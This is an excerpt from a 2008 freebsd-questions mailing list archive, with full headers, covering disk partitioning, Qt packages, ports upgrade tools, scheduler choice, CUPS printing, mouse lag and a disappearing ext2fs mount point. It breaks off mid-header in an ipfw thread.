(mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 79265106568F for ; Sat, 6 Dec 2008 07:36:57 +0000 (UTC) (envelope-from perryh@pluto.rain.com) Received: from agora.rdrop.com (agora.rdrop.com [199.26.172.34]) by mx1.freebsd.org (Postfix) with ESMTP id 528918FC2D for ; Sat, 6 Dec 2008 07:36:57 +0000 (UTC) (envelope-from perryh@pluto.rain.com) Received: from agora.rdrop.com (66@localhost [127.0.0.1]) by agora.rdrop.com (8.13.1/8.12.7) with ESMTP id mB67au4J038139 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Fri, 5 Dec 2008 23:36:56 -0800 (PST) (envelope-from perryh@pluto.rain.com) Received: (from uucp@localhost) by agora.rdrop.com (8.13.1/8.12.9/Submit) with UUCP id mB67auB2038138; Fri, 5 Dec 2008 23:36:56 -0800 (PST) Received: from fbsd61 by pluto.rain.com (4.1/SMI-4.1-pluto-M2060407) id AA21864; Fri, 5 Dec 08 23:25:11 PST Date: Fri, 05 Dec 2008 23:28:32 -0800 From: perryh@pluto.rain.com To: jerrymc@msu.edu Message-Id: <493a29a0.hL3b8/2ruLsiG6A9%perryh@pluto.rain.com> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> <18743.14461.951431.581673@jerusalem.litteratus.org> <1228359465.23645.27.camel@laptop1.herveybayaustralia.com.au> <20081204154923.GB1366@gizmo.acns.msu.edu> <1228413503.79750.8.camel@laptop2.herveybayaustralia.com.au> <20081205160249.GA5954@gizmo.acns.msu.edu> In-Reply-To: <20081205160249.GA5954@gizmo.acns.msu.edu> User-Agent: nail 11.25 7/29/05 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: UFS partitioning X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 07:36:57 -0000 > Dangerous is probably overstating the issue a bit ... AFAIK the "danger" is that someone boots the machine with an installer for some other OS, and that installer treats the disk as unformatted -- hence "obviously" containing nothing important -- because it doesn't have a recognizable MBR. From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 07:36:57 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8C43D1065690 for ; Sat, 6 Dec 2008 07:36:57 +0000 (UTC) (envelope-from perryh@pluto.rain.com) Received: from agora.rdrop.com (agora.rdrop.com [199.26.172.34]) by mx1.freebsd.org (Postfix) with ESMTP id 5293F8FC2E for ; Sat, 6 Dec 2008 07:36:57 +0000 (UTC) (envelope-from perryh@pluto.rain.com) Received: from agora.rdrop.com (66@localhost [127.0.0.1]) by agora.rdrop.com (8.13.1/8.12.7) with ESMTP id mB67auvW038144 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Fri, 5 Dec 2008 23:36:56 -0800 (PST) (envelope-from perryh@pluto.rain.com) Received: (from uucp@localhost) by agora.rdrop.com (8.13.1/8.12.9/Submit) with UUCP id mB67aumF038143; Fri, 5 Dec 2008 23:36:56 -0800 (PST) Received: from fbsd61 by pluto.rain.com (4.1/SMI-4.1-pluto-M2060407) id AA21883; Fri, 5 Dec 08 23:30:33 PST Date: Fri, 05 Dec 2008 23:33:55 -0800 From: perryh@pluto.rain.com To: shinjii@maydias.com Message-Id: <493a2ae3.QQ6M6FrL1JDBOeHu%perryh@pluto.rain.com> References: <4939CABB.7050702@maydias.com> In-Reply-To: <4939CABB.7050702@maydias.com> User-Agent: nail 11.25 7/29/05 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: QT4.5 packages X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 07:36:57 -0000 Warren Liddell wrote: > Does anyone have or know of where to download the pkg files > for the various Qt4.5 ports as using pkg_add is the only way > im able to add them atm. You can find many packages for several releases under ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386 From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 08:10:24 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D292E1065672 for ; Sat, 6 Dec 2008 08:10:24 +0000 (UTC) (envelope-from shinjii@maydias.com) Received: from smtp.po.exetel.com.au (pecan.exetel.com.au [220.233.0.17]) by mx1.freebsd.org (Postfix) with ESMTP id 9A54D8FC1A for ; Sat, 6 Dec 2008 08:10:24 +0000 (UTC) (envelope-from shinjii@maydias.com) Received: from 196.43.96.58.exetel.com.au ([58.96.43.196] helo=enterprise.blackthorn.nu) by smtp.po.exetel.com.au with esmtp (Exim 4.68) (envelope-from ) id 1L8sF4-0008IT-7S; Sat, 06 Dec 2008 19:10:22 +1100 Message-ID: <493A3379.5000003@maydias.com> Date: Sat, 06 Dec 2008 18:10:33 +1000 From: Warren Liddell User-Agent: Thunderbird 2.0.0.17 (X11/20081016) MIME-Version: 1.0 To: perryh@pluto.rain.com References: <4939CABB.7050702@maydias.com> <493a2ae3.QQ6M6FrL1JDBOeHu%perryh@pluto.rain.com> In-Reply-To: <493a2ae3.QQ6M6FrL1JDBOeHu%perryh@pluto.rain.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: QT4.5 packages X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 08:10:24 -0000 You can find many packages for several releases under > ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386 > _______________________________________________ > Yeah that was the first palced i checked, but there is only 4.4.1 and at the least i need 4.4.2, but a lot of things im now running require 4.5 an being as i can build them i goto add them from pkg .. im running AMD64 FreeBSD 7.1-PreRelease KDE 4.1.3 From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 08:16:11 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 22C4B1065676 for ; Sat, 6 Dec 2008 08:16:11 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 8A8D38FC1E for ; Sat, 6 Dec 2008 08:16:08 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB68G0VM033369; Sat, 6 Dec 2008 09:16:00 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB68G0VM033366; Sat, 6 Dec 2008 09:16:00 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Sat, 6 Dec 2008 09:16:00 +0100 (CET) From: Wojciech Puchar To: perryh@pluto.rain.com In-Reply-To: <493a29a0.hL3b8/2ruLsiG6A9%perryh@pluto.rain.com> Message-ID: <20081206091545.P33365@wojtek.tensor.gdynia.pl> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> <18743.14461.951431.581673@jerusalem.litteratus.org> <1228359465.23645.27.camel@laptop1.herveybayaustralia.com.au> <20081204154923.GB1366@gizmo.acns.msu.edu> <1228413503.79750.8.camel@laptop2.herveybayaustralia.com.au> <20081205160249.GA5954@gizmo.acns.msu.edu> <493a29a0.hL3b8/2ruLsiG6A9%perryh@pluto.rain.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: jerrymc@msu.edu, freebsd-questions@freebsd.org Subject: Re: UFS partitioning X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 08:16:11 -0000 > > AFAIK the "danger" is that someone boots the machine with an > installer for some other OS, and that installer treats the > disk as unformatted -- hence "obviously" containing nothing > important -- because it doesn't have a recognizable MBR. some people rarely boot other OS :) From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 08:57:54 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F1F05106564A for ; Sat, 6 Dec 2008 08:57:54 +0000 (UTC) (envelope-from frank@esperance-linux.co.uk) Received: from mailout.zetnet.co.uk (mailout.zetnet.co.uk [194.247.47.231]) by mx1.freebsd.org (Postfix) with ESMTP id 7EDEF8FC18 for ; Sat, 6 Dec 2008 08:57:54 +0000 (UTC) (envelope-from frank@esperance-linux.co.uk) Received: from irwell.zetnet.co.uk ([194.247.47.48] helo=zetnet.co.uk) by mailout.zetnet.co.uk with esmtp (Exim 4.63) (envelope-from ) id 1L8sz2-00027I-IQ; Sat, 06 Dec 2008 08:57:52 +0000 Received: from melon.esperance-linux.co.uk (54-144.adsl.zetnet.co.uk [194.247.54.144]) by zetnet.co.uk (8.14.1/8.14.1/Debian-9) with ESMTP id mB68vpk9018814; Sat, 6 Dec 2008 08:57:51 GMT Received: by melon.esperance-linux.co.uk (Postfix, from userid 1001) id 4B6E5FCB841; Sat, 6 Dec 2008 08:57:46 +0000 (GMT) Date: Sat, 6 Dec 2008 08:57:46 +0000 From: Frank Shute To: Javier Vasquez Message-ID: <20081206085746.GB54798@melon.esperance-linux.co.uk> Mail-Followup-To: Javier Vasquez , freebsd-questions@freebsd.org References: <20081202160822.GB2158@ozzmosis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.3i X-Face: *}~{PHnDTzvXPe'wl_-f%!@+r5; VLhb':*DsX%wEOPg\fDrXWQJf|2\,92"DdS%63t*BHDyQ|OWo@Gfjcd72eaN!4%NE{0]p)ihQ1MyFNtWL X-Operating-System: FreeBSD 6.3-RELEASE-p2 i386 X-Organisation: 'http://www.shute.org.uk/' X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.1.7 (zetnet.co.uk [194.247.46.1]); Sat, 06 Dec 2008 08:57:52 +0000 (GMT) Cc: freebsd-questions@freebsd.org Subject: Re: [freebsd-questions] Looking @ upgrades mechanisms... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Frank Shute List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 08:57:55 -0000 On Tue, Dec 02, 2008 at 10:43:39AM -0600, Javier Vasquez wrote: > > On 12/2/08, andrew clarke wrote: > > On Tue 2008-12-02 00:41:58 UTC-0600, Javier Vasquez (jevv.cr@gmail.com) > > wrote: > > > >> I was reading chapter 4 of the handbook, as well as chapters 24 and > >> 26... If I got it clear, I pretty much might get the base system > >> updated by using freebsd-update script. Ports collection can get > >> updated with portsnap, but that doesn't update neither the intalled > >> ports, nor the installed packages. To upgrade the installed ports, > >> portmanager or portmaster or portupgrade can be used... However only > >> portupgrade can be used to upgrade packages, right? > >> > >> Now, can something like "portupgrade -a -PP" to upgrade all packages > >> without building a thing (might be that some don't get updated due to > >> the lack of binary package yet, and in such case would dependencies be > >> managed right)? > > > > Right. > > > >> More into how things work, as ports and pacakages are not part of the > >> base systems, are they somehow associated to a particular release > >> (most probably not)? So that pretty much no matter the release, if > >> packages and ports are kept up to date, they might be the same for all > >> releases? > > > > There are downloadable packages that are regularly built from the > > latest ports tree. There are different packages available for > > different releases though (eg. 6.x vs 7.x, i386 vs amd64). > > > > The theory goes that you can use i386 packages built for (for example) > > 6.4 on a 6.3 system. Possibly all the way back to 6.0. If you're > > relying on prebuilt packages then ideally you should try to keep the > > base system updated where possible. > > > >> I'm asking these questions since I'm evaluating moving to BSD, but I > >> want to avoid compiling as much as possible since my box is 800MHz > >> piii celeron with just 32KB of cache and 512MB of ram, and for it > >> source based distributions have proven to be too much to handle, so my > >> intention would be to live with binary packages and updates/upgrades > >> only... > > > > Those specs should be fine if you're building "small" software such as > > Squid, Apache, Samba, etc. I build everything I need (http server + > > http cache + mail server + spam filter + more) from source using a 1 > > GHz Pentium III with 256 Mb (using portmaster). > > > > Firefox, GNOME or KDE would take a long time with 800 MHz. But I > > wouldn't really like to run those big apps at only 800 MHz either. > > > > There's no reason why you can't install the larger software from > > packages then just build the smaller stuff from source. With > > portupgrade -PP you're still going to have to keep your ports tree > > updated (I use portsnap) so it's not a lot of extra effort to build > > from source. > > Actually I don't run desktop managers, just plain fluxbox over X. And > I use X mostly to browse the web. But any ways, I've run source based > linux distributions in the past, and although it's fun, my box takes > too much time to keep up with the rolling changes. So I've learned > it's better to keep updating through binaries in this good old > boxes... I think you'll find that keeping relatively up-to-date on FreeBSD using ports is fairly easy, even on a lowish powered machine especially since you don't use the big desktop environments. Install portaudit so that you only upgrade when there is a security problem (or a must have feature). The bigger stuff like Firefox you can run at night. You will also find that FreeBSD is quite good at multitasking and that whilst building ports it's perfectly possible to get on with your work in comfort. More so than Linux. > > >> Also if remaining under -STABLE, is all this possible? Kind of > >> understood that openoffice.org can't be installed with "pkg_add -r", > >> so most probably if living under -STABLE automatic updates for > >> openoffice.org won't show up... So this kinds of answers one previous > >> question about the packages been independent from the base system > >> release, it looks like they aren't... > > > > Not too sure what you're asking here, and I've never used -STABLE. > > Keep in mind though that you can't use freebsd-update if you're using > > -STABLE (AFAIK). > > Ups, I didn't know that... so freebsd-update only works on > -RELEASE's. I'm not sure that was explicit in the documentation, good > to know, :) > > So the only way to live in -STABLE up to date is to keep the base > system up to date through compilation... Yep, but I only track STABLE when it's got some fix for some hardware/software that I must have, otherwise I track RELEASES & then you can use freebsd-update. BTW, I just retired a 300MHz Celeron that I used a combination of packages & ports (but mainly ports). My new laptop, I just use ports. I find ports less troublesome than packages. > > Thanks, > > -- > Javier Regards, -- Frank Contact info: http://www.shute.org.uk/misc/contact.html From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 10:42:54 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BF18F1065670 for ; Sat, 6 Dec 2008 10:42:54 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from ciao.gmane.org (main.gmane.org [80.91.229.2]) by mx1.freebsd.org (Postfix) with ESMTP id 76DFF8FC16 for ; Sat, 6 Dec 2008 10:42:54 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from list by ciao.gmane.org with local (Exim 4.43) id 1L8ucc-0004WX-M8 for freebsd-questions@freebsd.org; Sat, 06 Dec 2008 10:42:50 +0000 Received: from pool-138-88-90-120.res.east.verizon.net ([138.88.90.120]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 06 Dec 2008 10:42:50 +0000 Received: from nightrecon by pool-138-88-90-120.res.east.verizon.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 06 Dec 2008 10:42:50 +0000 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-questions@freebsd.org From: Michael Powell Followup-To: gmane.os.freebsd.questions Date: Sat, 06 Dec 2008 05:42:30 -0500 Lines: 18 Message-ID: References: <4939D0FB.9090304@videotron.ca> <4939E1C9.8000701@videotron.ca> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7Bit X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: pool-138-88-90-120.res.east.verizon.net Sender: news Subject: Re: custom kernel X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: nightrecon@verizon.net List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 10:42:54 -0000 PJ wrote: [snip] > >.... there was > another error in that kernel at the very beginning - the SCHEDULE_4BSD > was SCHEDULE_UNO or something like that.. but it was commented > out...perhaps these glitches happened through some kind of accidental > typos in vi.... > [snip] SCHED_4BSD is being replaced by SCHED_ULE. IIRC it will be the new default beginning with 7.1-Release, which is coming 'real soon now'. You may want to give it a try. -Mike From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 11:03:44 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C2378106564A for ; Sat, 6 Dec 2008 11:03:44 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from ciao.gmane.org (main.gmane.org [80.91.229.2]) by mx1.freebsd.org (Postfix) with ESMTP id 7AC518FC27 for ; Sat, 6 Dec 2008 11:03:44 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from list by ciao.gmane.org with local (Exim 4.43) id 1L8uwo-000580-Ce for freebsd-questions@freebsd.org; Sat, 06 Dec 2008 11:03:42 +0000 Received: from pool-138-88-90-120.res.east.verizon.net ([138.88.90.120]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 06 Dec 2008 11:03:42 +0000 Received: from nightrecon by pool-138-88-90-120.res.east.verizon.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 06 Dec 2008 11:03:42 +0000 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-questions@freebsd.org From: Michael Powell Followup-To: gmane.os.freebsd.questions Date: Sat, 06 Dec 2008 06:03:25 -0500 Lines: 28 Message-ID: References: <00163646ccded2d12c045d57b9cd@google.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7Bit X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: pool-138-88-90-120.res.east.verizon.net Sender: news Subject: Re: cups issue, unsupported format X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: nightrecon@verizon.net List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 11:03:44 -0000 af300wsm@gmail.com wrote: > Hi, > > I'm working on getting cups working and I've installed the "hplip" port > and the cups program used that to install the printer. At least, there was > an "HPLIP" in a list in one of the pages during the setup. My printer is > an old HP LaserJet 4+ which I've connected through the parallel port. My > URI for the printer is parallel:/dev/lp0. When I went to do the test page > I got this error, "Unsupported format 'application/postscript'." Here's > the problem, I chose a driver which, though I don't remember the full > string in cups, was a 4/5 PCL driver. So, why is it trying to print using > postscript? > It's been a while since I've done a virgin cups install so I'm not real current on what it might be like now. You start out with installing the /usr/ports/print/cups metaport and this should pull in a few other sub ports as dependencies. The port cups-pstoraster is what coverts postscript print output into PCL, utilizing (IIRC) one of the ghostscript ports. Perhaps your install may be incomplete. In the past I've just installed the metaport and it happily sucked everything else in automagically. -Mike From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 12:27:21 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 54FFE1065670 for ; Sat, 6 Dec 2008 12:27:21 +0000 (UTC) (envelope-from danielby@slightlystrange.org) Received: from mtaout03-winn.ispmail.ntl.com (mtaout03-winn.ispmail.ntl.com [81.103.221.49]) by mx1.freebsd.org (Postfix) with ESMTP id D21BE8FC17 for ; Sat, 6 Dec 2008 12:27:20 +0000 (UTC) (envelope-from danielby@slightlystrange.org) Received: from aamtaout01-winn.ispmail.ntl.com ([81.103.221.35]) by mtaout03-winn.ispmail.ntl.com (InterMail vM.7.08.04.00 201-2186-134-20080326) with ESMTP id <20081206122715.EJDW1691.mtaout03-winn.ispmail.ntl.com@aamtaout01-winn.ispmail.ntl.com> for ; Sat, 6 Dec 2008 12:27:15 +0000 Received: from catflap.slightlystrange.org ([82.21.101.171]) by aamtaout01-winn.ispmail.ntl.com (InterMail vG.2.02.00.01 201-2161-120-102-20060912) with ESMTP id <20081206122715.RAKA19264.aamtaout01-winn.ispmail.ntl.com@catflap.slightlystrange.org> for ; Sat, 6 Dec 2008 12:27:15 +0000 Received: by catflap.slightlystrange.org (Postfix, from userid 106) id C8AA36167; Sat, 6 Dec 2008 12:27:12 +0000 (GMT) Received: from torus.slightlystrange.org (torus.slightlystrange.org [10.1.3.50]) by catflap.slightlystrange.org (Postfix) with SMTP id 447496132 for ; Sat, 6 Dec 2008 12:27:12 +0000 (GMT) Received: by torus.slightlystrange.org (sSMTP sendmail emulation); Sat, 6 Dec 2008 12:27:12 +0000 From: "Daniel Bye" Date: Sat, 6 Dec 2008 12:27:12 +0000 To: freebsd-questions@freebsd.org Message-ID: <20081206122711.GF19575@torus.slightlystrange.org> Mail-Followup-To: freebsd-questions@freebsd.org References: <4939F044.8090507@rawbw.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="5UGlQXeG3ziZS81+" Content-Disposition: inline In-Reply-To: <4939F044.8090507@rawbw.com> User-Agent: Mutt/1.4.2.3i X-PGP-Fingerprint: D349 B109 0EB8 2554 4D75 B79A 8B17 F97C 1622 166A X-Operating-System: FreeBSD 7.1-PRERELEASE i386 X-Cloudmark-Analysis: v=1.0 c=1 a=E_TWu-usHesA:10 a=llfY_82hizsA:10 a=ehNlctqhnw0A:10 a=Gos-__BFWqthIbcd1LkA:9 a=R38mLBzDA7EtAofuNHMA:7 a=_1MKklsrd23r5MGiFGaoCv9PKo4A:4 a=LY0hPdMaydYA:10 a=5bEAyOOqqaH3KJrTn5YA:9 a=uaYvIZoL7_fykM_aWEEktecN6G0A:4 a=rPt6xJ-oxjAA:10 Subject: Re: "Sticky" mouse pointer on machine with high load X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Daniel Bye List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 12:27:21 -0000 --5UGlQXeG3ziZS81+ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Dec 05, 2008 at 07:23:48PM -0800, Yuri wrote: > Often when my machine has load is 2 or higher it becomes very visible=20 > that mouse motion isn't smooth. Mouse moves in a series of quite long jum= ps. > I believe this effect is especially pronounced when some applications=20 > read/write a lot of files. >=20 > My understanding is that this is because signal from mouse gets stuck in= =20 > the fifo somewhere and not processed by x-server in time. >=20 > Is there any solution to this problem? Not guaranteed, but it has worked for several people in the past - try rebuilding your kernel with the SCHED_ULE scheduler, instead of the SCHED_BSD4 scheduler. Although ostensibly its benefits are more obvious on multi-processor machines, it does often seem to fix this mouse lag issue that comes up from time to time. It has been discussed on the list several times, so you might find some interesting further reading if you search the archives. Dan --=20 Daniel Bye _ ASCII ribbon campaign ( ) - against HTML, vCards and X - proprietary attachments in e-mail / \ --5UGlQXeG3ziZS81+ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) iEYEARECAAYFAkk6b58ACgkQixf5fBYiFmoNSgCfaTYxMPpYb96W5pDyDmnCxMPd smwAn1D6SYenVCH3E8zDPPhqf4/Djhiw =3ezZ -----END PGP SIGNATURE----- --5UGlQXeG3ziZS81+-- From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 13:25:34 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D772E1065677 for ; Sat, 6 Dec 2008 13:25:34 +0000 (UTC) (envelope-from lhecking@users.sourceforge.net) Received: from ns1.cypress.com (ns1.cypress.com [157.95.67.4]) by mx1.freebsd.org (Postfix) with ESMTP id A4BCC8FC0C for ; Sat, 6 Dec 2008 13:25:34 +0000 (UTC) (envelope-from lhecking@users.sourceforge.net) Received: from corpmail.cypress.com (corpmail [157.95.1.2]) by ns1.cypress.com (8.12.10/8.12.10) with ESMTP id mB6DDRum021705 for ; Sat, 6 Dec 2008 05:13:27 -0800 (PST) Received: from cork.irdesign.cypress.com (cork.irdesign.cypress.com [157.95.24.1]) by corpmail.cypress.com (8.12.10/8.12.10) with ESMTP id mB6DDLo6021942 for ; Sat, 6 Dec 2008 05:13:21 -0800 (PST) Received: from cork.irdesign.cypress.com (localhost [127.0.0.1]) by cork.irdesign.cypress.com (Postfix) with ESMTP id 9CE884E4A6 for ; Sat, 6 Dec 2008 13:13:20 +0000 (GMT) Received: by cork.irdesign.cypress.com (Postfix, from userid 0) id 4BE834E625; Sat, 6 Dec 2008 13:13:20 +0000 (GMT) From: lhecking@users.sourceforge.net To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Message-Id: <20081206131320.4BE834E625@cork.irdesign.cypress.com> Date: Sat, 6 Dec 2008 13:13:20 +0000 (GMT) Subject: Disappearing mount point X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 13:25:34 -0000 I have a really weird problem. After changing the mount point of a Linux ext3 fs to a different device, the mount point disappears after mounting and is inaccessible. Disk layout: ad4s1 Linux ext3 ad4s2 FreeBSD ad4s3 Linux ext3 ad4s4 ext ad4s5 Linux swap ad4s6 Linux ext3 ad4s7 Linux ext3 ad4s8 Linux ext3 Mounting ad4s7 under FreeBSD as /dev/ad4s7 /gentoo-portage ext2fs rw 0 0 Then I moved this data to ad4s8 and changed the fstab entry accordingly: /dev/ad4s8 /gentoo-portage ext2fs rw 0 0 And this happens: [root@jeanie ~]# cd / [root@jeanie /]# ls .cshrc cdrom etc mnt tmp .profile compat gentoo-portage proc usr .snap dev home rescue var COPYRIGHT dist lib root bin distfiles libexec sbin boot entropy media sys [root@jeanie /]# mount /gentoo-portage [root@jeanie /]# df Filesystem 1K-blocks Used Avail Capacity Mounted on /dev/ad4s2a 1012974 345748 586190 37% / devfs 1 1 0 100% /dev /dev/ad4s2f 1010964 22324 907764 2% /home /dev/ad4s2d 4058062 38 3733380 0% /tmp /dev/ad4s2e 20308398 6763976 11919752 36% /usr procfs 4 4 0 100% /proc linprocfs 4 4 0 100% /usr/compat/linux/proc /dev/ad4s8 9929540 4505212 4923908 48% /gentoo-portage [root@jeanie /]# ls ls: gentoo-portage: Bad file descriptor .cshrc bin dev etc media root usr .profile boot dist home mnt sbin var .snap cdrom distfiles lib proc sys z COPYRIGHT compat entropy libexec rescue tmp [root@jeanie /]# uname -a FreeBSD jeanie.my.domain 7.1-PRERELEASE FreeBSD 7.1-PRERELEASE #8: Mon Sep 1 09:14:51 IST 2008 root@jeanie.my.domain:/usr/obj/usr/src/sys/JEANIE i386 I changed the filesystem on /dev/ad4s8 to ext2, but the problem persists. No idea what's going on :-/ From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 15:05:00 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B1DB21065676 for ; Sat, 6 Dec 2008 15:05:00 +0000 (UTC) (envelope-from smithi@nimnet.asn.au) Received: from sola.nimnet.asn.au (paqi.nimnet.asn.au [220.233.188.227]) by mx1.freebsd.org (Postfix) with ESMTP id 24A7E8FC0C for ; Sat, 6 Dec 2008 15:04:59 +0000 (UTC) (envelope-from smithi@nimnet.asn.au) Received: from localhost (localhost [127.0.0.1]) by sola.nimnet.asn.au (8.14.2/8.14.2) with ESMTP id mB6F4g0b021073; Sun, 7 Dec 2008 02:04:42 +1100 (EST) (envelope-from smithi@nimnet.asn.au) Date: Sun, 7 Dec 2008 02:04:41 +1100 (EST) From: Ian Smith To: Olivier Nicole In-Reply-To: <20081204120024.5664610656A7@hub.freebsd.org> Message-ID: <20081207015633.F12790@sola.nimnet.asn.au> References: <20081204120024.5664610656A7@hub.freebsd.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Cc: freebsd-questions@freebsd.org Subject: Re: ipfw and bridged interface X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 